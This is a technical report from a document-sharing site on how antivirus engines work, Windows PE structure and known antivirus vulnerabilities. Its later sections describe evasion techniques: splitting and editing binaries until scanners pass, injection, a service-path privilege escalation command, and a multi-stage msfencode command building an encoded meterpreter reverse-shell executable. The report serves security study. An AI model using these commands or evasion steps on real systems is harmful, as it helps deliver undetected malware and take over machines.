Date post: | 29-Nov-2015 |
Category: |
Documents |
Upload: | neel-h-pathak |
View: | 233 times |
Download: | 5 times |
Page 1
1. Introduction
Anti-virus software has in true sense evolved a lot in these years. Time has gone where there
were anti-virus software which used to detect the malwares or viruses based on scanning the
executable hex`s dump and finding an appropriate string (also called as String based
detection). Nowadays, more and more advanced technologies are been incorporated in
detecting malwares for example, advanced heuristics, signature and its variants based,
sandboxing, behavioral based approach etc. Now many AV not only offers deep scan option
which scans almost all files stored in secondary memory but also scans offsets in the memory
(also called as opcodes).
But, if we look at the real-time statistics by Bit Defender AV[1]
, we can come to know that
each hour there are new malwares and viruses reported. This is shown in the figure below.
Figure [1] Real-time virus reporting (Dated: 29/09/13)
From the stats above one may have a question rising in their mind that nowadays the AVs
scans each and every files even that present in the opcodes of the memory then why there is
drastic spread of malwares as compared to last decade?
The answer to these is that very smart people whom we call Crackers/Hackers have found the
way to bypass these AVs.
Page 2
They know the very detail about how the AV works and which AV have which type of
detection capabilities for example if it scans based on string detection or if it scans based on
sandboxing approach.
We sometimes fail to remember that they (Crackers and Hackers) too have AV scanners from
which they may scan their newly developed malware and viruses and can easily spread via
plethora of medium, mostly the Internet. Below is the snapshot of a Virus scanning portal[2]
which has almost 45 scan engines to detect if the file consists of executable code.
Figure [2] Online file scanner having almost 45 different scan engines
Crackers and Hackers also have easy access to various debuggers and dissemblers in which
they may change their developed code to bypass some specific targeted AV.
This report throws light on the way the AVs work along with their different detection
techniques, the structure of windows executable (also called as PE structure) along with the
brief details of where the signature of any file is stored (signature which anti-virus looks for)
and finally the techniques for bypassing AVs.
Page 3
2. Anti-Virus: How they work
According to Wikipedia.org Antivirus or anti-virus software is software used to prevent,
detect and remove malware (of all descriptions), such as: computer viruses, malicious BHOs,
hijackers, ransomware, keyloggers, backdoors, rootkits, trojan horses, worms, malicious
LSPs, dialers, fraudtools, adware and spyware. Computer security, including protection from
social engineering techniques, is commonly offered in products and services of antivirus
software companies.This page discusses the software used for the prevention and removal of
malware threats, rather than computer security implemented by software methods.
To prevent the viruses to enter into our machine, there are only two ways[3]
:
To isolate the system i.e. disconnecting it from the network, neither using any
CDs/DVDs nor USB drives for data transfer.
To use an AV software.
Sometimes we wonder that how an AV scans the files present on our machine and flags it as
malicious depending on the code containing that file. AV nowadays scans our system on
real-time basis, scans the file and if found it safe for the windows file loader[4]
to load then it
let the file to be copied on the hard-disk (HDD) but if the AV finds the file malicious for the
windows file loader to load then it flags it malicious(or suspicious) and waits for the user
action. Snapshot below gives its high level view.
Figure [3] High level view of AV working mechanism
We can say that an AV software is no more than program that is used for analyzing
information and then, if it finds that something is infected, it either disinfects it or waits for
the user action. Information is analyzed based on the origin of the information i.e. the source
of information. AV will operate differently when it is monitoring CDs/DVDs data transfer
operation than when monitoring internet traffic or data transfers over LAN network.
The principal of operation is all the same but there are subtle differences. The information
which is in the “source system” must reach to its “destination system”.
Page 4
The information interpretation also varies depending on whether it is implemented in some
sort of operating systems or on some kind of application. This interpretation mechanism must
be specific to each operating system or the component in which the AV is going to be
implemented. For example if we are implementing the AV software for some firewall then it
is the firewall that will provide the information to the AV to scan it.
Once the information is passed to AV, the information is scanned and one of the two
possibilities takes place, they are:
The cleaned information is returned to the interpretation mechanism, which in turn
will return it to the system so that it can continue towards its final destination.
A warning is sent to the user interface. This user interface can vary greatly. In an AV
for workstations, a message can be displayed in the form of pop up message on
screen, but in server side the alert is send to the administrator`s email, an internal
network message or is sent via SMS.
Snapshot below explains whole process.
Figure [4] Complete AV working process
Source System
Interpretation of
Information
Disinfection
Scanning of
Information
Destination System
Alert
Page 5
2.1 Anti-virus: Virus Detection techniques (Scan Engines)
Regardless of how the information to be scanned is obtained, the most important function of
the antivirus now comes into play: the virus scan engine. This engine scans the information it
has intercepted for viruses, and if viruses are detected, it disinfects them.
As of the methods known till now, the information is scanned as one of the five known
methods, they are as follows:
1. Signature based detection
2. Heuristic based detection
3. Sensing threat technology
4. Behavioral based detection(also called as artificial intelligence based detection)
5. Protective defense based detection
6. And Sandbox based detection
2.1.1 SIGNATURE BASED DETECTION
Signature-based detection[5]
: also referred as “scan string-based technologies” works by
scanning the contents of computer files and cross-referencing their contents with the “code
signatures” belonging to known viruses. A library of known code signatures is updated and
refreshed constantly by the anti-virus software vendor.
If a viral signature is detected, the software acts to protect the user’s system from damage.
Suspected files are typically quarantined and/or encrypted in order to render them inoperable
and useless.
Clearly there will always be new and emerging viruses with their own unique code
signatures. So once again, the anti-virus software vendor works constantly to assess and
assimilate new signature-based detection data as it becomes available, often in real time so
that updates can be pushed out to users immediately and zero-day vulnerabilities can be
avoided.
AV program searches within given files for the presence of certain strings (also only in
certain regions).If these predefined strings are found, then antivirus report A Threat has been
detected.
Next-generation signature-based detection: New variants of computer virus are of course
developed every day and security companies now work to also protect users from malware
that attempts to disguise itself from traditional signature-based detection. Virus authors have
tried to avoid their malicious code being detected by writing “oligomorphic“, “polymorphic”
and more recently “metamorphic” viruses with signatures that are either disguised or changed
from those that might be held in a signature directory.
Page 6
2.1.2 HEURISTIC BASED DETECTION
Heuristic based detection[6]
: It is used to detect new, unknown viruses in your system that
has not yet been identified. Only some antiviruses can do this type of scan, the majority are
only able to detect known viruses.
Virus detection is based on recognition of a signature or string of code which identifies a
certain virus. Similar to how investigators use characteristics to identify criminals;
antiviruses look for ‘digital footprints’ in order to recognize a virus.
Nevertheless, to detect an unknown virus, a particular signature or recognized code does not
yet exist. For this reason a heuristic scan is used. Heuristic methods are based on the piece-
by-piece examination of a virus, looking for a sequence or sequences of instructions that
differentiate the virus from ‘normal’ programs.
The first heuristic engines were introduced to detect DOS viruses in 1989.Heuristic (hyu-'ris-
tik) is an adjective for methods that help in problem solving.
These program searches instructions or commands within a file that are not found in typical
good application programs. As a result, a heuristic engine is able to detect potentially
malicious files and report them as a virus.
Such AV might also emulate running the file to see what it would do if executed, attempting
to do this without noticeably slowing down the system. A single suspicious attribute might
not be enough to flag the file as malicious. However, several such characteristics might
exceed the expected risk threshold, leading the AV to classify the file as malware. The
biggest downside of heuristics is it can inadvertently flag legitimate files as malicious.
2.1.3 SENSING THREAT TECHNOLOGY
Threat sense technology: In past when a virus was released it was detected by antivirus
experts after 15-30 days. Till then virus had done enough damage to millions of users like “I
love you worm”. Thus as a result AV experts started using Threat Sense Technology.
In this technology , when a certain files does specious activity in computer, AV program
doesn’t perform any action and keep eye on that file. Next, when you update your AV these
files are send to security experts of that AV that you are using. They analyze the file; if it is a
virus then they create its signatures. By this a virus is caught within couple of days.
Page 7
2.1.4 BEHAVIOURAL BASED DETECTION
Behavioral detection: It observes how the program executes, rather than merely emulating
its execution. This approach attempts to identify malware by looking for suspicious
behaviors, such as unpacking of malcode, modifying the hosts file or observing keystrokes.
Noticing such actions allows an antivirus tool to detect the presence of previously unseen
malware on the protected system. As with heuristics, each of these actions by itself might not
be sufficient to classify the program as malware. However, taken together, they could be
indicative of a malicious program. The use of behavioral techniques brings antivirus tools
closer to the category of host intrusion prevention systems (HIPS), which have traditionally
existed as a separate product category.
In short, such AV monitors your computer activities. If any dangerous or specious activity
occurred by a file then it informs user and give some option to perform certain action. Now
user has to take decision that is it a virus file or helpful file. Sometimes, if user takes wrong
decision then the software which is reported by AV gets corrupted.
2.1.5 PROTECTIVE BASED DETECTION
Protective based detection: It was first used by Kaspersky. When a program or process gets
executed, “Proactive Defense” tells the user about the activity of the program and asks it to
allow or Block.
The Most advanced Proactive Defense is provided by Comodo Internet Security.
2.1.6 SANDBOX BASED DETECTION
Sandbox based detection[7]
: The term “sandbox” in computing means an isolated
computing environment used by software developers to test new programming code.
AV nowadays employs this technique effectively, it first isolate the files which are to be
scanned and monitors its behavior for certain amount of time for example 2-3 seconds, when
AV finds that the file is not malicious then only it allows that file to be copied on the
destination location.
Page 8
3. PE Portable Executable: A look
When we execute any .exe file, do we think that how actually the structure of any executable
file is under windows environment. This structure is looked by AVs effectively in order to
scan for the signature that is present in that executable file. And if the signature is found to be
present in the AV database then it flags as malicious and either deletes it or waits for the user
to take some action.
Before we start into the details of PE we must know what PE actually is. According to
Wikipedia.org,
“The Portable Executable (PE) format is a file format for executables, object code and DLLs,
used in 32-bit and 64-bit versions of Windows operating systems. The term "portable" refers
to the format's versatility in numerous environments of operating system software
architecture. The PE format is a data structure that encapsulates the information necessary for
the Windows OS loader to manage the wrapped executable code. This includes dynamic
library references for linking, API export and import tables, resource management data and
thread-local storage (TLS) data. On NT operating systems, the PE format is used for EXE,
DLL, SYS (device driver), and other file types. The Extensible Firmware Interface (EFI)
specification states that PE is the standard executable format in EFI environments.”
PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in
Windows development.
Now without further ado, let’s jump into the basic outline structure of PE, structure for all
executable under windows environment[8]
. Below is the snapshot of the PE structure.
Page 9
Figure [5] PE File structure
The above picture is the general layout of a PE file. All PE files (even 32-bit DLLs) must
start with a simple DOS MZ header. We usually aren't interested in this structure much. It's
provided in the case when the program is run from DOS, so DOS can recognize it as a valid
executable and can thus run the DOS stub which is stored next to the MZ header. The DOS
stub is actually a valid EXE that is executed in case the operating system doesn't know about
PE file format. It can simply display a string like "This is not a valid Win32 application" or it
can be a full-blown DOS program depending on the intent of the programmer.
We are also not very interested in DOS stub: it's usually provided by the assembler/compiler.
In most case, it simply uses int 21h, service 9 to print a string saying "This program cannot
run in DOS mode".
After the DOS stub comes the PE Signature and PE header. The PE header is a general term
for the PE-related structure named IMAGE_NT_HEADERS. This structure contains many
Page 10
essential fields that are used by the PE loader. We will be quite familiar with it as you know
more about PE file format.
In the case the program is executed in the operating system that knows about PE file format,
the PE loader can find the starting offset of the PE header from the DOS MZ header. Thus it
can skip the DOS stub and go directly to the PE header which is the real file header.
The real content of the PE file is divided into blocks called sections. A section is nothing
more than a block of data with common attributes such as code/data, read/write etc. You can
think of a PE file as a logical disk.
The PE header is the boot sector and the sections are files in the disk. The files can have
different attributes such as read-only, system, hidden, archive and so on.
It shall be clear from this point onwards that the grouping of data into a section is done on
the common attribute basis: not on logical basis. It doesn't matter how the code/data are
used , if the data/code in the PE file have the same attribute, they can be lumped together in a
section. You should not think of a section as "data", "code" or some other logical concepts:
sections can contain both code and data provided that they have the same attribute. If you
have a block of data that you want to be read-only, you can put that data in the section that is
marked as read-only. When the PE loader maps the sections into memory, it examines the
attributes of the sections and gives the memory block occupied by the sections the indicated
attributes.
If we view the PE file format as a logical disk, the PE header as the boot sector and the
sections as files, we still don't have enough information to find out where the files reside on
the disk, i.e. we haven't discussed the directory equivalent of the PE file format. Immediately
following the PE header is the section table which is an array of structures.
Each structure contains the information about each section in the PE file such as its attribute,
the file offset, and virtual offset. If there are 5 sections in the PE file, there will be exactly 5
members in this structure array. We can then view the section table as the root directory of
the logical disk. Each member of the array is equivalent to the each directory entry in the root
directory.
Page 11
That's all about the physical layout of the PE file format. Below are the major steps in
loading a PE file into memory below:
When the PE file (i.e. executable) is run, the PE loader examines the DOS MZ header
for the offset of the PE header. If found, it skips to the PE header.
The PE loader checks if the PE header is valid. If so, it goes to the end of the PE
header.
Immediately following the PE header is the section table. The PE header reads
information about the sections and maps those sections into memory using file
mapping. It also gives each section the attributes as specified in the section table.
After the PE file is mapped into memory, the PE loader concerns itself with the
logical parts of the PE file, such as the import table.
3.1 PE Sections[9]
: Explained!!
Below is the list of each section of PE structure which is briefly explained.
The sections that are most commonly present in an executable (depends on the compiler used
or debugger used to analyze the executable) are:
Executable Code Section, named “.text” (Microsoft) or “.txt” (olydbg) or CODE
(Borland)
Data Sections, named “.data”, “.rdata”, or “.bss” (Microsoft) or DATA (Borland)
Resources Section, named “.rsrc”
Export Data Section, named “.edata”
Import Data Section, named “.idata”
Debug Information Section, named “.debug”
Note: Structure of a PE(portable executable) file on disk is exactly the same as when it is
loaded into memory so if you can locate info in the file on disk you will be able to find it
when the file is loaded into memory.
However it is not copied exactly into memory. The windows loader decides which parts need
mapping-in and which parts has to be omitted. Data that is not mapped-in is placed at the end
of the file past any parts that will be mapped-in e.g. Debug information.
Let`s understand the meaning of all sections:
1. Executable Code Section:
In Windows, all code segments reside in a single section called .text or .txt or CODE. Since
Windows uses a page-based virtual memory management system, having one large code
Page 12
section is easier to manage for both the operating system and the application developer. This
section also contains the entry point(EP) and the jump thunk table (where present) which
points to the IAT.
Note:
EP is the entry point from where the code section starts in obfuscated exe file.
Jump thunk table : contains all the jump addresses and references.
IAT: It stands for import address table, this is a table of function pointers filled in by
the windows loader as the dlls are loaded. I will post a complete tutorial for Import
address table because it’s a very important concept. For now just take it as table
containing function pointers.
2. Data Section:
The .bss section represents uninitialized data for the application, including all variables
declared as static within a function or source module.
The .rdata section represents read-only data, such as literal strings, constants, and debug
directory information. All other variables (except automatic variables, which appear on the
stack) are stored in the .data section. These are application or module global variables.
3. Resource Section:
The .rsrc section contains resource information for a module. There are many resource
editors available today which allows editing, adding, deleting, replacing and copying
resources.
4. Export Data Section:
The .edata section contains the Export Directory for an application or DLL. When present,
this section contains information about the names and addresses of exported functions.
5. Import Data Section:
The .idata section contains various information about imported functions including the
Import Directory and Import Address Table. The import section contains information about
all the functions imported by the executable from DLLs. This information is stored in
several data structures. The most important of these are the Import Directory and the Import
Address.
The Windows loader is responsible for loading all of the DLLs that the application uses and
mapping them into the process address space. It has to find the addresses of all the imported
functions in their various DLLs and make them available for the executable being loaded.
Page 13
6. Debug Information Section:
Debug information is initially placed in the .debug section. The PE file format also supports
separate debug files (normally identified with a .DBG extension) as a means of collecting
debug information in a central location. The debug section contains the debug information,
but the debug directories live in the .rdata section mentioned earlier. Each of those
directories references debug information in the .debug section.
7. Base Relocation Section:
Last but not the least and most important section for Crackers and Hackers perspective.
When the linker creates an EXE file, it makes an assumption about where the file will be
mapped into memory. Based on this, the linker puts the real addresses of code and data items
into the executable file. If for whatever reason the executable ends up being loaded
somewhere else in the virtual address space, the addresses the linker plugged into the image
are wrong. The information stored in the .reloc section allows the PE loader to fix these
addresses in the loaded image so that they're correct again. On the other hand, if the loader
was able to load the file at the base address assumed by the linker, the .reloc section data isn't
needed and is ignored.
3.2 Partial look of PE header with olly debugger
Below is a snapshot taken from Olly debugger[10]
, Crackers and Hackers use such debuggers
to tweak their code and change their behavior to bypass AV.
Figure [6] Partial View of PE header in Olly Debugger
Page 14
3.3 Signatures stored in file which AV looks for.
Finding the signature that the Anti-Virus[10:1]
application looks for, isn’t that hard if an old
technique is used which is performed by splitting the file into several files and then scanning
each file to see which one of them contains the signature.
Sometimes the signature is pretty easy to find, e.g. in case ncx99.exe is used. This is a simple
netcat listener, which binds cmd.exe to port 99 on the global network interface. In the picture
below from offset E77E to offset E78F is the main signature located. Crackers and Hackers
may use many binders or packagers that are available on internet one of the most widely used
packager is UPX[11]
.
Furthermore, the signature is located in the idata section in this case. This means that if we
would try to encode the entire “idata” (refer the PE structure above) section, then our
executable file might not work at all!
Therefore Crackers and Hackers try to edit a part of this, or encode only the signature to
avoid AV detection.
Snapshot below shows the hex dump of ncx99.exe.
Figure [7] Hex dump of ncx99.exe
Page 15
3.4 Olly Basics: Exploring executable with olly debugger
Although not really necessary but some basic information of debugger such as Olly debugger
is required to understand how the executable is loaded into memory. Moreover elite Hackers
and Crackers already know this stuff and use their knowledge to bypass AVs.
Olly debug, often called "Olly" is Ring3 debugger. It means that olly works at windows
application level, but still can control other applications. In human language: with this
magnificent tool, we can find "bugs" in a program.
Snapshot below shows some the executable opened with olly debugger.
Figure [8] Olly basics, exploring an executable.
As we can see that some executable is opened in debugger but this seems quite “weird” at the
first look. To make the task easy, we have numbered different sections and below are its
details:
1. As you can see the codes at extremely left pane like 0040100 etc. are the Virtual
Memory addresses numbers. These address shows those portion of the Virtual
memory which is used to load the program and may change when we open it the
Page 16
second time as at that time windows might have opened our executable by loading it
from different memory address.
2. The codes shown after the extreme left pane as 6F21400,03,00 etc. are called as
opcodes. These are those codes that our computer can actually understand.
3. These are the assembler mnemonics, which we humans can understand. These gets
converted into the opcodes as shown in (2) in the snapshot.
4. This pane is that which Olly has generated by commenting the code. This makes our
life easier as we can understand the code through it.
5. These are the registers which can hold some value into its memory. Registers have
different sizes depending upon its nature i.e. whether its 64 bit register or 32 bit
register.
6. This is the pane where the Hex dump of our executable is shown.
7. Two bytes like 55 79 constitute a word (2Bytes == 1word) .
8. Four bytes as shown like 79204000 (opcode) constitutes a Dword (4Bytes ==
1Dword).
9. This panel contains windows stack memory information.
10. As shown 1 byte equals to 8 bits.
11. This is the executing panel. Here we can see the current executing instructions.
Assembly Information:
In today’s average wintel CPU you have 9 32bit registers (w/o flag registers) Their names
are:
eax: Extended Accumulator Register
ebx: Extended Base Resgister
ecx: Extended Counter Register
edx: Extended Data Register
esi: Extended Source Index
edi: Extended Destination Index
ebp: Extended Base Pointer
esp: Extended Stack Pointer
eip: Extended Instruction Pointer
Generally the size of those registers is 32bit (==4 bytes). They can hold data from 0-
FFFFFFFF (unsigned). In the beginning most registers had certain main functions which the
names imply, like ECX = Counter, but these days we can nearly use whichever register we
like for a counter.
Page 17
There is one more thing we have to know about registers: although they are all 32 bit large,
some parts of them (16 bit or even 8 bit) cannot be addresses directly.
Accessible registers are as follows:
32 Bit 16 Bit 8 Bit
EAX AX AH/AL
EBX BX BH/BL
ECX CX CH/CL
EDX DX DH/DL
ESI SI
EDI DI
EBP BP
ESP SP
EIP IP
Table [1] Windows Registers
For example: EDX == 7C90EB94, DX == EB94, DH == EB and DL == 94.
Similarly we also have 64 bit registers as well. Here we have not discussed those registers.
The purpose of such information given is because the very smart people i.e. Crackers and
Hackers already knows this information in great detail and thus they can modify their code in
such debugger to bypass the AVs detection.
Page 18
4. Do your Anti-virus really protect you?
Below given are the audit results
[12] in the great detail which shows the vulnerabilities in
some of the famous AV software.
Before getting into the technical stuff lets first understand some basic terms that are related to
the results given below.
LHA: This refers to the file format. A file with the LHA file extension is a Compressed
Archive file. LHA files can be opened with any popular compression/decompression
program, the free 7-Zip tool being one example. Any of these types of programs will
decompress (extract) the contents of a LHA file, as well as create new LHA compressed
files.
ARJ Header[13]
: The ARJ program by Robert K. Jung is a "newcomer" which compares well
to PKZip and LhArc (LHA) in both compression and speed. An ARJ archive contains two
types of header blocks, one archive main header at the head of the archive and local file
headers before each archived file.
UPX[14]
: It is one of the ultimate packers (wrapper) for executables. It is basically executable
file compression and decompression utility that supports many executable file formats.
Audit Results that shows Vulnerabilities in AVs[15]
:
AVs Audit Results
Symantec
• Unchecked offset reconstructing UPX PE
header
• Can be triggered by providing a negative
offset to
prior heap chunk containing MZ header with
crafted PE header
• Heap overflow with no character
restrictions
McAfee
• Improperly checked file name and path
strlen in LHA level 1 header
• Signature in .dat to detect for malformed
LHA file
• Can be triggered my supplying a malformed
LHA file, that also conforms to the PECOFF
format
• Stack overflow with ascii character
restrictions
TrendMicro • Improperly checked filename strlen in ARJ
header
Page 19
• Doesn’t overflow the next chunk’s header,
but does corrupt various pointers, which
results in the address of the filename being
written to an
arbitrary destination
• Kernel Heap overflow with ascii character
restrictions
FSecure
• Improperly checked filename strlen in ARJ
header
• Standard heap overflow with ascii character
restrictions
Table [2] Audit results of AVs
Page 20
5. Vulnerabilities in AVs
Mostly there are 4 types of vulnerabilities
[16] which is seen in any AV. They are as follows:
1. Management (Administrative) interface
2. Engine-based
3. ActiveX-related
4. LPE (Local Privilege Escalation)
Management interface:
Client/Server management
Most C/S-based management protocols are proprietary, which means, no RFC or
documents are available. It will be difficult to understand what the Client and Server
are talking about by capturing packets. The traffic might look quite random or might
be encrypted in some way.
Fuzzing is a good choice in this situation. Spike[17]
and Sully[18]
are two great fuzzing
frameworks. For more information, please check the reference.
Web interface
Since most Web servers for management are developed in-house by antivirus
vendors, they may not be well audited and analyzed. Fuzzing is always useful and
worth trying. There are lots of web fuzzers publicly available, such as webfuzz[19]
,
Spike and Sulley.
Engine-Based:
The engine is the most complex component of antivirus software thus auditing the engine
would be tough.
Basically there are three ways of auditing:
Source code audit
As the name suggests, to audit the source code, auditors need access to the source
code of the antivirus software. However, for security researchers, most source code is
unavailable, except ClamAV[20]
.
Reverse engineering
Since most commercial antivirus solutions are closed-source, source-code audit are
almost impossible for researchers. Reverse engineering is one of the best choices.
Researchers can analyze the assembly code directly and look for potential
vulnerabilities. While reverse engineering an antivirus software engine, the target
should be focused on the component responsible for parsing all kinds of file formats.
Page 21
Fuzzing
Fuzzing is an amazing technique, and it has accelerated software security a lot in the
past few years. Researchers have already presented fuzzing media players, fuzzing
server applications, fuzzing web browsers, and published lots of fuzzers. However,
few people had ever talked about fuzzing antivirus software.
ActiveX-related:
Auditing ActiveX issues of antivirus software is no different from auditing them for other
applications. It can be done either through fuzzing or through manual auditing:
Fuzzing
ActiveX-based vulnerabilities became more prevalent in 2007 than ever. This was
partially caused by the prevalence of ActiveX fuzzers. Two popular tools in this area
are AxMan [21]
and ComRadier [22]
. AxMan is more powerful, while ComRadier is
more user-friendly.
After installing antivirus software, the specific ActiveX control can be fuzzed by
either choosing a single CLSID or specifying a directory.
Manual auditing
While fuzzing can uncover lots of memory corruption problems, a manual audit can
reveal some other interesting vulnerabilities at the design level.
LPE (Local privilege escalation):
Weak DACL
Auditing weak DACL issues is one of the easiest things, sometimes it can be done
manually without the help of any tools.
To check whether an antivirus installation directory (files) is vulnerable to this issue,
you just need to right click on the directory (files) and navigate to the “security” tag.
If the "Everyone" group has a "full control” permission, then probably it`s a brand
new local root vulnerability! Checking the ACL of services is a little bit different
from the installation directory. It can be done by using sc.exe[23]
from Microsoft, and
the specific approach goes like this:
Login as a non-privilege user, and run the following commands, if error #5 does not
appear, Congratulations!
"Antivirus service” is the name of the service the attacker want to exploit, and
“C:\sc config "antivirus service" binpath= D:\attack\attack.exe”
binpath is a binary file (could be a Trojan, rootkit, or anything) under the attacker's
control. After running this command, the attacker might have successfully changed
the binary path of a Windows service, which will result in the attacker’s own binary
being launched as an elevated privilege (usually SYSTEM privilege).
Page 22
6. Caution!! Bypassing AV detection mechanism techniques.
Now some of the techniques are been discussed which can bypass AVs. Crackers and
Hackers might target any specific AV to bypass their detection. Hackers and spammers
actively use various techniques to bypass the AV protection to install virus, backdoors, bots
etc. in the target computers.
Here in this report those techniques are been discussed with their POC. Below is the list of
the various techniques, they are:
1. Using binders and packers
2. Using splitters
3. Code conversion from EXE to client side scripts
4. Obfuscation of code to evade antivirus detection mechanism
5. Using Metasploit framework to encode payloads
6. Code or DLL injection
6.1 Using binders and packers
Binders:
Binders are used to bind two or more than two EXE files to one single EXE file. It usually
binds other EXE files to itself and generates a new binary. For example the original size of
the Binder file is 20 KB and the size of the EXE to be attached is 35 KB then the final size
of the new EXE generated will be 20 KB + 35 KB = 55 KB. Snapshot is given below which
clears the concept.
Figure [9] Working of EXE binder
From the above figure, the Binder (File A) binds the malicious code binary (File B) to the
end-of-file (EOF). This creates another EXE (File C) which combines both File A and File
Page 23
B. Now on executing File C, the file read offset sets at 20 KB and read for rest 35KB to
extracts the original malicious code binary (File B).
This is how viruses or worms can be hidden using binders and can get pass undetected by all
anti-virus products. Since, the original signature of the malicious code gets shifted to a
different offset in the newly generated binary which is can easily evade any static anti-virus
products. Few good binders available on internet are Infector v2, Exe-Maker, Exe-Joiner,
Trojan Man, Elitewrap and TOP.
Note: The technique just discussed above is not full proof. AV has evolved a lot and usually
has all this signatures present in their database. For example if you bind some sort of
malicious EXE to some legitimate EXE through some packager then usually the signature of
that packager is present in that AV and when it scans the final binded EXE then it flags as
malicious.
One way to get successfully bypass AV is to code your own custom binder. Obviously the
signature of your custom coded binder will not be present in the AVs database and thus can
get easily bypassed.
Packers (Compressor):
Packers works very similar to the way binders works but the only difference between them
is in case of packers the malicious binary is compressed before it gets embedded to the
packer’s binary to generate the final EXE. This makes any antivirus product helpless in
detecting the compressed malicious binaries since, the signature changes because of the
compression.
Few good packers available on internet are UPX, Shrinker, PKlite, AS-pack, Petite, and
WWpack. Again the same problem arises as that of binders explained above. These are not
used now days as all the AVs have signatures of these packers present in their database.
Let’s see how an AV detects the malicious executable even though it is packed with a packer
(Here we use UPX packer ).
For example:
Pack any malicious file with UPX (a freeware packer) and then test again with AV. You
should see that your AV is again popping up the alert describing that file as a malicious one.
But our file was packed how AV still know that it is a malicious file and the answer is AV
has also signature for UPX, so what AV is doing it loads the file detect the packer then
decrypt/unpack(AV also know how to unpack UPX packed files) the file and then test the
file, And this is the reason that AV still know that file is malicious.
Proof that AV is doing all this to test file.
Page 24
Open the same packed file in a hex editor and just overwrite the starting bytes with some
garbage values and then again test it with your AV. Now you should see that AV is saying
that file is clean (Reason: Because file is corrupted and AV have no option to
unpack/decrypt it)
6.2 Using Splitters to evade detection
Using the splitters also might play the game. Its working is completely opposite to that of
working of binders. Here the executable file is split into many small chunk size of file and
then they are joined at the target end. We shall remember that there must be the same
software at the target end to join the split files.
But unfortunately, this technique also gets detected in AVs. One way to bypass the AV with
this technique is shown below:
Split the file into some small sized file with any splitter available on internet (hj-split for
windows is preferred). This is shown in the snapshot below.
Figure [10] File splitted with hj-split utility
Now open those split files in any hex editor and change the code of the starting lines to “0”s.
Here we will open simple2.exe.007 file in hex editor and change its code. Snapshot is given
below.
Figure [11] Changing contents of file in hex editor
Page 25
Again scan that small file. If it is not detected as malicious then it is ok but if it is detected as
malicious by AV then again split that file and perform the same thing as mentioned above.
Do this for all such splitted files till AV flags that file as a legitimate file.
Now, join those file in the same order in which they were split. And scan that complete file,
you will noticed that you have successfully bypassed AV detection.
The problem with this technique is that the final executable file may not work correctly as
large amount of the source code was being tempered. But there are time when it work
flawlessly.
6.3 Code conversion from exe to client side scripts
There are techniques which can be used to convert an executable or any other file types (like
.pif or .scr) into vbs file and on execution of the vbs file the hidden binary will get executed
automatically. This can aid to malicious users to spread the malicious programs across
internet which can get past various anti-virus gateways undetected.
We take NetBus as a sample malicious binary to hide inside a vbs file. Below given is the
snapshot where the “NetBus-Server.exe” is converted into a vbs file called "game.vbs" using
a program called exe2vbs converter (by z0mbie). On execution of the vb script file, it will
create an executable.
Figure [12] exe2vbs Utility
Signature of the malicious binary is different after the conversion, it can get bypass any AV
product undetected. But again this technique is not full proof and many AV detects it as
malicious file.
6.4 Code obfuscation
Code obfuscation is a process where the binary of the malicious program undergoes various
transformations (Ex Code Morphing) which are undetected by anti-virus products. There are
various kinds of code obfuscation techniques like polymorphism, metamorphism etc but in
this section; We shall discuss about a technique called "Code Morphing" which prevents
anti-virus from detecting malicious patterns in the binaries.
Page 26
In case of "Code Morphing", the malicious code is encrypted and a small routine is
embedded to decrypt the code before running the malicious code. This kind of code
obfuscation undergoes several transformations which are nondeterministic and destroys the
visible logical code structure and hence it not only prevent detection by anti-viruses but also
prevents disassembling or debugging by tools like SoftIce and IDAPro etc. One such tool
called "AxCrypt" utility does this kind of code obfuscation.
6.5 Using Metasploit framework to encode payloads
Here we use the widely used linux distro for penetration testing, The Backtrack OS.
Inside BT there is a framework designed especially for pentest purpose called as metasploit
framework. One can also use metasploit tools such as “msfencode” and “msfcli” for
bypassing AVs.
Here encoding of code is done instead of encrypting it. We must take care of the term
“encoding” and “encryption”. The purpose of encoding is to transform data so that it can be
properly (and safely) consumed by a different type of system, e.g. binary data being sent
over email, or viewing special characters on a web page. The goal is not to keep information
secret, but rather to ensure that it's able to be properly consumed.
Encoding transforms data into another format using a scheme that is publicly available so
that it can easily be reversed. It does not require a key as the only thing required to decode it
is the algorithm that was used to encode it.
One can easily create payloads in the form of malware and encode it through msfencode
utility provided in the metasploit framework. One of the typical command to generate
undetectable payload is as follows:
#./msfpayload windows/meterpreter/reverse_tcp LHOST=<I.P.> LPORT=<PORT No.> R
| ./msfencode –e x86/shikata_ga_nai –c 5 | ./msfencode -2 x86/alpha_upper –c 2 |
./msfencode –e x86/shikata_ga_nai –c 5 –t exe –o /root/game.exe
We can find much of the information to this on internet.
Note: One can use variations of the encoding algorithms to make malware totally
undetectable.
Page 27
6.6 Using Code/DLL injection to bypass AV[24]
This may be one of the stealthiest techniques to bypass any AV detection of virus till the
date of writing. Generally DLL/Code injection refers to the process of injecting either code
or dll into the virtual memory space of some other process.
As a result one can trick the AV into believing that the code of the malware (trojan) is the
legitimate code triggered by legitimate process under windows environment.
Here we are using a tool named “Injector” to inject our code into any other process.
The Concept of Injector (Ingeneric way to bypass AV):
Because exe files are going to detected by AVs( at least if you pack them with the publicly
exposed packers/encryptors). So we have to think in a another way.
And the another way is: split the exe into two parts (not physically)
The core code (the actual code that performs a specific task for eg. Bind shell)
The interface – a mechanism that will inject the code into memory and execute that
code.
So the functioning is something like this:
Figure [13] Code Injection process
Page 28
Note that from the above explanation we know that shellcode/code into a file is not going to
be detected by AV because AV don’t know how to decode shellcode.
Important Note: you may be thinking that why the encoded shellcode? because if we use
metasploit shellcodes there signatures may be in AVs. If you encode the shellcode with any
available encoder in metasploit then AVs not able to decode it in a file and not able to detect
it.
Second part of the concept is the interface that will inject the code into a process. Code
injection is not a new concept (dll injection is one of the most popular example).
Note: All the things are generic and are not specific to any tool or shellcodes. Metasploit and
shellcodes are used only to demonstrate the concept. You can also inject your codes "that are
detectable to AV in exe mode" with this method and can bypass AV.
Things that you can do with this method:
Backdoor a process
Provide many backup shells (every type)
Page 29
7. Conclusion and Future Work
This report briefly discusses How AV really works, Structure of executable as seen by
Windows environment, vulnerabilities in AV software and the exploitation techniques. We
are not telling that antivirus is useless. Nor are we suggesting a replacement product. We
only want to draw attention to the fact that the vulnerabilities of antivirus software are being
a real threat.
The security of antivirus software draws our attention to security products such as firewalls,
IPS, IDS, and others. Security products are supposed to protect users, what if they fail? What
if they just open a new door for attackers in your system?
Future work shall focus on this aspect of ‘security’ products.
Page 30
8. References
1) Real time virus reporting
http://bitdefender.com/resourcecenter/real-time-reporting
